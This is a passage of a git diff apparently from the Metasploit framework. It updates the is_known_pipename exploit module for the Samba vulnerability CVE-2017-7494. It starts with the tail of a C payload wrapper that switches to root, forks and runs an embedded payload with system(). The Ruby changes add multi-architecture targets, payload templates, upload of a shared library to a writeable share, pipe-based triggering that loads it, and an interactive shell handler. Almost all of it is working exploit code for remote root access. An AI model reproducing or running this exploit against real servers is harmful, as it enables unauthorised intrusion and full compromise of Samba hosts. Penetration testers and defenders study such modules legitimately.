,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}; + +extern bool change_to_root_user(void); + +// Samba 4 looks for samba_init_module +int samba_init_module(void) +{ + change_to_root_user(); + if (! fork()) { + system((const char*)payload); + } + return 0; +} + +// Samba 3 looks for init_samba_module +int init_samba_module(void) { return samba_init_module(); } diff --git a/modules/exploits/linux/samba/is_known_pipename.rb b/modules/exploits/linux/samba/is_known_pipename.rb index 2b6915cdb3..e33254aab4 100644 --- a/modules/exploits/linux/samba/is_known_pipename.rb +++ b/modules/exploits/linux/samba/is_known_pipename.rb @@ -38,18 +38,32 @@ class MetasploitModule < Msf::Exploit::Remote 'DisableNops' => true }, 'Platform' => 'linux', - # - # Targets are currently limited by platforms with ELF-SO payload wrappers - # 'Targets' => [ + [ 'Automatic (Interact)', + { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' + } + } + } + ], + [ 'Automatic (Command)', + { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } + ], [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ], - # - # Not ready yet - # [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], - # [ 'Linux MIPS', { 'Arch' => MIPS } ], + [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], + [ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ], + [ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ], + [ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ], + [ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ], + [ 'Linux PPC', { 'Arch' => ARCH_PPC } ], + [ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ], + [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ], + [ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ], ], 'DefaultOptions' => { @@ -58,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Privileged' => true, 'DisclosureDate' => 'Mar 24 2017', - 'DefaultTarget' => 1)) + 'DefaultTarget' => 0)) register_options( [ @@ -67,6 +81,32 @@ class MetasploitModule < Msf::Exploit::Remote ]) end + # Setup our mapping of Metasploit architectures to gcc architectures + def setup + super + @@payload_arch_mappings = { + ARCH_X86 => [ 'x86' ], + ARCH_X86_64 => [ 'x86_64' ], + ARCH_X64 => [ 'x86_64' ], + ARCH_MIPS => [ 'mips' ], + ARCH_MIPSLE => [ 'mipsel' ], + ARCH_MIPSBE => [ 'mips' ], + ARCH_MIPS64 => [ 'mips64' ], + ARCH_PPC => [ 'powerpc' ], + ARCH_PPC64 => [ 'powerpc64' ], + ARCH_PPC64LE => [ 'powerpc64le' ], + ARCH_SPARC => [ 'sparc' ], + ARCH_ARMLE => [ 'armel', 'armhf' ], + ARCH_AARCH64 => [ 'aarch64' ], + # + # Missing from Rex::Arch + # ARCH_MIPS64LE = 'mips64le', + # ARCH_SPARC64 = 'sparc64', + # + } + end + + # List all top-level directories within a given share def enumerate_directories(share) begin self.simple.connect("\\\\#{rhost}\\#{share}") @@ -89,6 +129,7 @@ class MetasploitModule < Msf::Exploit::Remote end end + # Detemrine whether a directory in a share is writeable def verify_writeable_directory(share, directory="") begin simple.connect("\\\\#{rhost}\\#{share}") @@ -112,19 +153,13 @@ class MetasploitModule < Msf::Exploit::Remote end end + # Call NetShareGetInfo to retrieve the server-side path def find_share_path share_info = smb_netsharegetinfo(@share) share_info[:path].gsub("\\", "/").sub(/^.*:/, '') end - def probe_module_path(path, simple_client=self.simple) - begin - simple_client.create_pipe(path) - rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - vprint_error("Probe: #{path}: #{e}") - end - end - + # Crawl top-level directories and test for writeable def find_writeable_path(share) subdirs = enumerate_directories(share) return unless subdirs @@ -141,6 +176,7 @@ class MetasploitModule < Msf::Exploit::Remote nil end + # Locate a writeable directory across identified shares def find_writeable_share_path @path = nil share_info = smb_netshareenumall @@ -158,6 +194,7 @@ class MetasploitModule < Msf::Exploit::Remote end end + # Locate a writeable share def find_writeable find_writeable_share_path unless @share && @path @@ -167,7 +204,8 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path") end - def upload_payload + # Store the wrapped payload into the writeable share + def upload_payload(wrapped_payload) begin self.simple.connect("\\\\#{rhost}\\#{@share}") @@ -175,9 +213,7 @@ class MetasploitModule < Msf::Exploit::Remote filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}" wfd = simple.open(filename, 'rwct') - wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, - payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform} - ) + wfd << wrapped_payload wfd.close @payload_name = random_filename @@ -194,23 +230,172 @@ class MetasploitModule < Msf::Exploit::Remote return true end - def find_payload - # Retrieve the server-side path of the share like a boss - print_status("Retrieving the remote path of the share '#{@share}'") - share_path = find_share_path + # Try both pipe open formats in order to load the uploaded shared library + def trigger_payload - target = [share_path, @path, @payload_name].join("/").gsub(/\/+/, '/') + target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/') + [ + "\\\\PIPE\\" + target, + target + ].each do |tpath| - print_status("Loading the payload from server-side path #{target}...") - simple.connect("\\\\#{rhost}\\IPC$") + print_status("Loading the payload from server-side path #{target} using #{tpath}...") - # The first method works against Samba 3.x - probe_module_path("\\\\PIPE\\" + target) + smb_connect - # The second method works against Samba 4.x - probe_module_path(target) + # Try to execute the shared library from the share + begin + simple.client.create_pipe(tpath) + probe_module_path(tpath) + + rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError + # Common errors we can safely ignore + + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + + # Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded + if e.error_code == 0xc0000039 + print_good("Probe response indicates the interactive payload was loaded...") + + smb_shell = self.sock + self.sock = nil + remove_socket(sock) + handler(smb_shell) + return true + else + print_error(" >> Failed to load #{e.error_name}") + end + end + + disconnect + + end + + false end + # Use fancy payload wrappers to make exploitation a joyously lazy exercise + def cycle_possible_payloads + template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494") + template_list = [] + template_type = nil + template_arch = nil + + # Handle the generic command types first + if target.arch.include?(ARCH_CMD) + template_type = target['Interact'] ? 'findsock' : 'system' + + all_architectures = @@payload_arch_mappings.values.flatten.uniq + + # Prioritize the most common architectures first + %W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch| + template_list << all_architectures.delete(t_arch) + end + + # Queue up the rest for later + all_architectures.each do |t_arch| + template_list << t_arch + end + + # Handle the specific architecture targets next + else + template_type = 'shellcode' + target.arch.each do |t_name| + @@payload_arch_mappings[t_name].each do |t_arch| + template_list << t_arch + end + end + end + + # Remove any duplicates that mau have snuck in + template_list.uniq! + + # Cycle through each template and yield + template_list.each do |t_arch| + data = '' + ::File.open(File.join(template_base, "samba-root-#{template_type}-#{t_arch}.so.gz"), "rb") do |fd| + data = Rex::Text.ungzip(fd.read) + end + + pidx = data.index('PAYLOAD') + if pidx + data[pidx, payload.encoded.length] = payload.encoded + end + + vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...") + yield(data) + end + end + + # Verify that the payload settings make sense + def sanity_check + if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact" + print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact") + print_error(" Please set PAYLOAD to cmd/unix/interact and try this again") + print_error("") + fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target") + end + + if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact" + print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact") + print_error(" Please set a valid PAYLOAD and try this again") + print_error("") + fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target") + end + end + + # Shorthand for connect and login + def smb_connect + connect + smb_login + end + + # Start the shell train + def exploit + # Validate settings + sanity_check + + # Setup SMB + smb_connect + + # Find a writeable share + find_writeable + + # Retrieve the server-side path of the share like a boss + print_status("Retrieving the remote path of the share '#{@share}'") + @share_path = find_share_path + print_status("Share '#{@share}' has server-side path '#{@share_path}") + + # Disconnect + disconnect + + # Create wrappers for each potential architecture + cycle_possible_payloads do |wrapped_payload| + + # Connect, upload the shared library payload, disconnect + smb_connect + upload_payload(wrapped_payload) + disconnect + + # Trigger the payload + early = trigger_payload + + # Cleanup the payload + begin + smb_connect + simple.connect("\\\\#{rhost}\\#{@share}") + uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}" + simple.delete(uploaded_path) + disconnect + rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError + end + + # Bail early if our interact payload loaded + return if early + end + end + + # A version-based vulnerability check for Samba def check res = smb_fingerprint @@ -245,8 +430,7 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Safe end - connect - smb_login + smb_connect find_writeable_share_path disconnect @@ -259,33 +443,4 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Appears end - def exploit - # Setup SMB - connect - smb_login - - # Find a writeable share - find_writeable - - # Upload the shared library payload - upload_payload - - # Find and execute the payload from the share - begin - find_payload - rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply - end - - # Cleanup the payload - begin - simple.connect("\\\\#{rhost}\\#{@share}") - uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}" - simple.delete(uploaded_path) - rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply - end - - # Shutdown - disconnect - end - end